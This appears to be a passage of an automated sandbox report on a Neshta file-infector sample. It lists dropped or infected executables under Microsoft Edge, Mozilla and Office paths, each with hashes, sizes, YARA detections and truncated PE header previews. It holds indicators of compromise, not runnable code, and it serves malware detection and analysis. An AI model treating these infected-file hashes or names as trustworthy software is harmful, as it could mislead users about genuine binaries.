Entropy (8bit):	6.5065813007912885
Encrypted:	false
SSDEEP:	49152:vpawZh+vD5oLv9eqJ/iUPnspBu/MLPgyLMLQB4gQDyJ0ryMOAqk9l/hO2y/BT:EehFLvTQDpB5oSOmlBl
MD5:	23A855DD7FA34F616F73B392E464E216
SHA1:	EFD849CB22D1D33B16D6FECD54C318B0A6E222EA
SHA-256:	E198D71BC75B0E61DD2F61080062B4E41ACDFC7F7FF148CB11839DE3E0523A27
SHA-512:	8B4AF629B2022F10FF2D3FD4D4C73F9B23CE085B08B70FB29044D03F0FBC498BADF4D62854378FB0A0E6A2DBE2848D0B83550C3F6C3C08CF05C50C81B04B6A5C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1319976
Entropy (8bit):	6.504627467158373
Encrypted:	false
SSDEEP:	12288:gyeb4D2VLtrQA1Yim7XGLZxHwlqxlThfkY8bo0cITiLEpPoVfMA+nkthF2g0oz5:giD2VmA1YXQHwlklb8boUuWPg2gX
MD5:	ADDCC10DC80D3B994800C6B44EC0B5E6
SHA1:	C52E9B1C03747A2B4F350E6CC288851DE64AC113
SHA-256:	03B114F2F97AD84613CAA8E5F964D4C8BDA56DAC8EA9C680A1DFBC43449EA14F
SHA-512:	74E250EA454D878ABF1F9CA3E7AEC66600A5FC785555FDF708E22103D51E939072A0B28FA7AAFD847D370DC03781F723B216117361389A3F87F3F93874D26AA1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2327080
Entropy (8bit):	6.531478857250512
Encrypted:	false
SSDEEP:	24576:+fD3zcv9ZhsSGSQoryOzozU63IqRNhB0kDKPHkkkkkkkBoIeAz:+fD3zO9ZhBGlopzM3HRNr00z
MD5:	DB94AD04A7559F74A92620CB04373946
SHA1:	826B3FCF77456D83544CC451561FC9DE5978DAEF
SHA-256:	8FC9FD66947D8CB6D1BA902B3174924A872176273E4B9545CC05F2486A0AED73
SHA-512:	E5705F611A87C57C2172055A947CE5BBA675605319525FC2678D317625826A9893D1149911640796BAF0305A94FC76BDB79C8F31D7782CF113A8904B3AD41100
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3790800
Entropy (8bit):	6.537921104997593
Encrypted:	false
SSDEEP:	49152:OTaRe7mkn5KLvD5qGVC008Jpb4tgLUgGEsLABD5wTQh07yrLMLl9YPhe:hI72LvkrCpbxJRoIMx
MD5:	5750A055DF2980C145707A60B2CDE7EF
SHA1:	26774B8B7BA30DB32A6AF0A6C7FCCCE981823474
SHA-256:	A954923EC03888AD38B22F135037F62F520988C5A5A87676882A2B972CEB54EA
SHA-512:	229FD22736C66BA9D5836F2D2A747D4B761184BA134C818D91B443E255CDDA32CAFA4419CD19AD49915CE20206D865F4B7F9E0B388C20298857B5BCA5CC4217B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1535528
Entropy (8bit):	6.517840298614509
Encrypted:	false
SSDEEP:	12288:q406WoyJHeFOqDRA7uKk+TjnkgiMnQq+UI7MBImQWkv7yfOYIXbwohMA+nkXZnHC:rW9Jml9mmijZiMnF+ZxmQWcbLw8Vi
MD5:	366FA8E2786C71AA81D106EF9FA15233
SHA1:	B626BA440B5EB37132849B697AF040A7E462E0B9
SHA-256:	1B87E233A5CAEA65CD8D8EBC91AB48A42F18FC9991041599C202EA85995EF24E
SHA-512:	D596450A8A03F6894982DAC3861C4E34339521F70DEB5073343F19565DA47A168025DFA3C1B7178677C9116A22F6A499D1277F28D1E6B829743D949D9592A848
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273384
Entropy (8bit):	6.516053672496002
Encrypted:	false
SSDEEP:	12288:C5eN+kL3gVeYt/uakJMtleRO40BbdJrPVJAzAlPY6mYzJuomPMA+nkVogIkd9:CwNHwoYhua6MtERO4qbBJTY6mY1uIgp
MD5:	64A7111DE17E26E2B89E10AE82FED662
SHA1:	911E048F0336C9BBA3DA35E48BEDBBF04B4035A9
SHA-256:	3C470FD7B87FCEC230016076A57F77324766326295D90138E4A780EFF0DD36B9
SHA-512:	65A8D9276DD61A9666323D4A73950D854422B43BFD4D43F83AEB1895DD3338869216A53930B10B753347B6C8DD6338FCEEB3336E41730DCE74CCC01FA7616C5B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4251688
Entropy (8bit):	6.5065813007912885
Encrypted:	false
SSDEEP:	49152:vpawZh+vD5oLv9eqJ/iUPnspBu/MLPgyLMLQB4gQDyJ0ryMOAqk9l/hO2y/BT:EehFLvTQDpB5oSOmlBl
MD5:	23A855DD7FA34F616F73B392E464E216
SHA1:	EFD849CB22D1D33B16D6FECD54C318B0A6E222EA
SHA-256:	E198D71BC75B0E61DD2F61080062B4E41ACDFC7F7FF148CB11839DE3E0523A27
SHA-512:	8B4AF629B2022F10FF2D3FD4D4C73F9B23CE085B08B70FB29044D03F0FBC498BADF4D62854378FB0A0E6A2DBE2848D0B83550C3F6C3C08CF05C50C81B04B6A5C
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1319976
Entropy (8bit):	6.504627467158373
Encrypted:	false
SSDEEP:	12288:gyeb4D2VLtrQA1Yim7XGLZxHwlqxlThfkY8bo0cITiLEpPoVfMA+nkthF2g0oz5:giD2VmA1YXQHwlklb8boUuWPg2gX
MD5:	ADDCC10DC80D3B994800C6B44EC0B5E6
SHA1:	C52E9B1C03747A2B4F350E6CC288851DE64AC113
SHA-256:	03B114F2F97AD84613CAA8E5F964D4C8BDA56DAC8EA9C680A1DFBC43449EA14F
SHA-512:	74E250EA454D878ABF1F9CA3E7AEC66600A5FC785555FDF708E22103D51E939072A0B28FA7AAFD847D370DC03781F723B216117361389A3F87F3F93874D26AA1
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273384
Entropy (8bit):	6.516053672496002
Encrypted:	false
SSDEEP:	12288:C5eN+kL3gVeYt/uakJMtleRO40BbdJrPVJAzAlPY6mYzJuomPMA+nkVogIkd9:CwNHwoYhua6MtERO4qbBJTY6mY1uIgp
MD5:	64A7111DE17E26E2B89E10AE82FED662
SHA1:	911E048F0336C9BBA3DA35E48BEDBBF04B4035A9
SHA-256:	3C470FD7B87FCEC230016076A57F77324766326295D90138E4A780EFF0DD36B9
SHA-512:	65A8D9276DD61A9666323D4A73950D854422B43BFD4D43F83AEB1895DD3338869216A53930B10B753347B6C8DD6338FCEEB3336E41730DCE74CCC01FA7616C5B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225232
Entropy (8bit):	5.921842033117269
Encrypted:	false
SSDEEP:	3072:sr85CPcxiNNpCPPQPg2cluc/Xswbz8cz3quKoNX1gd:k9PcwVz4B8c37KoNX1q
MD5:	C0877D9CC17715787EC3329EB0FAD7C1
SHA1:	E51DA518D764E4982471BE235E096A8D11217A56
SHA-256:	17C75E1739499E52B56470EED4C924379065703E8C665E449882E02856F96205
SHA-512:	EE748102A0C002B25989E073585DD7A611A64E85CB0C57CBD6592733A038BC8EEDBCB8F917BBBED02D7759C5621F5B6B03A587B317FD13A4014CF113C4FC4C57
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	247760
Entropy (8bit):	5.770986149607887
Encrypted:	false
SSDEEP:	3072:sr85CKW4l/DReos0gXf+EvC6C36eCWdMuoB+ISzBqUGxNtvKAbFP3cSEt0phcxAe:k9wl/DRfkTC3dM7B+mCivAT
MD5:	86242784CC98EBA7A0B0A1833901F76A
SHA1:	19178197143972E718023C5EA70F631971A4BC2D
SHA-256:	AB99BD10F6FB73856BAF95E9D4AC0434DF660B74388E53206955B9B512F3350D
SHA-512:	2AFEB5CAF7728E2EBD04D3BF42AD55AAC759CAA453FFDF6BAF0D8E7095782F90E165E3009ED619A7E8A3E62638C12D8C67016092972E193215DF9A3422ECB589
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	142288
Entropy (8bit):	6.426113960826444
Encrypted:	false
SSDEEP:	3072:sr85Cy684ePKoTB+IvoAewtxUff8aohGme+YDfYz8FrR7:k9yrTB+AleYIkifYUF
MD5:	9AD6CF45A4476B8A6AFC310D5E410235
SHA1:	07A614202F584361E48471CB3DBDB3FCD24E47FF
SHA-256:	1655811CC8A1E4BC12127B20600F93AB3DE3CC467CED76ED99C04C83FF15763C
SHA-512:	2737F8675AC768EDEA72CDF6F42579F1FC1ADE43122AFEE8971801ECB2F2E93DD10815DA419328D3BE26FEC7C633F881027BFF088877FF9F80BE96D5C106AABE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	259024
Entropy (8bit):	6.0902993716555995
Encrypted:	false
SSDEEP:	3072:sr85C5XEV0tle+5IbvBCMmNginHy8lZoY46Mu/rLogrlKq9YXI35EvMl:k95UVwleMITTmNv1ohWsqYI354I
MD5:	628F406DFCBB08B84171E530D77B3C9E
SHA1:	0A22B2ECAB9EAD7F1D399773BD1BB1FC359EB708
SHA-256:	482D936CBBF75D3C6248BFCE1B6E5546AB79DE4D4A715490F62CF8674517AF64
SHA-512:	B9A97C76AA2A38273835DEC7C0A9E91C668038C5BC422BD92654C259865680F92B841115C92529A1AFC50E70CC358FDEB2981C8AE43852C6EE090A3AFF92AA6D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	305120
Entropy (8bit):	6.414707301174103
Encrypted:	false
SSDEEP:	6144:k98FKucTm3RhMfoSG5dCd7hjAOe9UmXY2Gh++CgBlPMoX:XKucTm3RhMfoSBjA9U2Yxh+Zgb7X
MD5:	9938BDFE29D3CFAC8D713DFD743243B8
SHA1:	68CC77B8F114F34BE1A4A263D7F8736E857BBD12
SHA-256:	9204357B6EB1CB6459E2B0B67FC95E3A80D90781E0C7F97D7294FB6563B20CF1
SHA-512:	4F0C37C0BC405B483D11A80C5A23C1094ACB9E9CA48DDACC662E989AA21E301940018C08B5A861B482A06AFF2EA8AC9AAD0C8ABAB7E15628348764E779D306E4
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	142288
Entropy (8bit):	6.426793148875817
Encrypted:	false
SSDEEP:	3072:sr85CtaivqozB+IvcZ4wrZU+l/8xoAm2+YDfYz8GrR/:k9FzB+Aw4CZNr2fYLl
MD5:	2AFBE95A5B1815B2E957E569D2CEF5C4
SHA1:	BD94E512E4EBBFA8D7BA255E66015DB721CA4801
SHA-256:	B5385EBBA1FA3E8E1288780A37ADCFE065EC02C764BC539F60CF0BBC2949BAE6
SHA-512:	0BD007F304E27149CC134004BC51ABD86AD3A701F72DDCD0A121399A73FFAC72061A6B027477DDCD29464C7F50232F7197DF5BA5A8432F051D40FAC225512951
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1640416
Entropy (8bit):	7.912831259553018
Encrypted:	false
SSDEEP:	24576:1wy53G70SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzUG:6y53w24gQu3TPZ2psFkiSqwozX
MD5:	DCC61986BC0A26675681559C484E15FB
SHA1:	6F413F9D4A2B64A6F9DCA21B9310EBFF186D6E16
SHA-256:	A341E8D1C1BA0A82635135A5A24089C3EA484066B02E28B1CAFCEB1628BF53EB
SHA-512:	2C93519CBBE6B0AFAE36A696EDC6C33A25808D562A286BA278DB0418440BA4DE7B27823F13114581D3F2C830BB3261D634622CDB4053EA28EBD4BCFF3216CFAE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144866
Entropy (8bit):	6.240317481153233
Encrypted:	false
SSDEEP:	3072:sr85CORD5b0qZ7y4jem7y6tkNRCywDw1DiJkuKUY:k9UD5lZ7y4j9KT4DteUY
MD5:	6A1BE74AD1EE28433BF1549DFA813DC9
SHA1:	A4BBC87890CA7463AEC75B963291A69B65390653
SHA-256:	BC21B225F668AE2C3B8439ADB91969D39F711E9D57B557AD79FAD8FD8AEB2085
SHA-512:	8A0033D4D5B82856CE0826B9DD90B792BF9E9641463DAC1DAE83ED6E3F18F384AB6CC5E0998615A8DCE5BD6CD360E17BCE85C1FF8AA45B08A95383D89D228B0B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	280480
Entropy (8bit):	6.386490869107258
Encrypted:	false
SSDEEP:	6144:k9wPr2vXzrEbslNp/JNsJKQl0GkRAqVNf0O3:/DQXRVTZu0GP+ZR
MD5:	F7B6F7CA5E4D9AD2DD9B1887D57CFF86
SHA1:	2E0494EF5F5603FCBB0F12F593F3F401930C2FDF
SHA-256:	26EB1DC3EBA8950CF5D8663EE94CA6105BE1227DD239B81FF571B4372D49D320
SHA-512:	181262E06BE2C01A7BDFCD4DEA634D71FD39D795339FA6A3FB327FE7E75BBB12C0B5AFC1E8811DDACA14654268D0D26E828BE1AE475B05503626684AF7190009
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4473576
Entropy (8bit):	6.569965325360163
Encrypted:	false
SSDEEP:	98304:pkkCqyDEY7+o3OBvfGVY+40yajyS+9s/pLOq:pkkCqaE68eV+0y8E6L1
MD5:	809D03153D2FCC1C9E1EE574DDF7CD2E
SHA1:	CF1FC95A34AFC5A2FB39504D973BC8380A04BAC1
SHA-256:	C2A715F1396DCDAA9360FB09B89992EE8619362062DFBD6C90CFF751C5272032
SHA-512:	094FE1BC30027336DFE6A32520DB39D8D27AD1A69716E7E00D6B66D44CFB4EAADBD8D48B6D80BC0D00C60EF0E3483437C82D2185BD704137CB544B11063820DA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
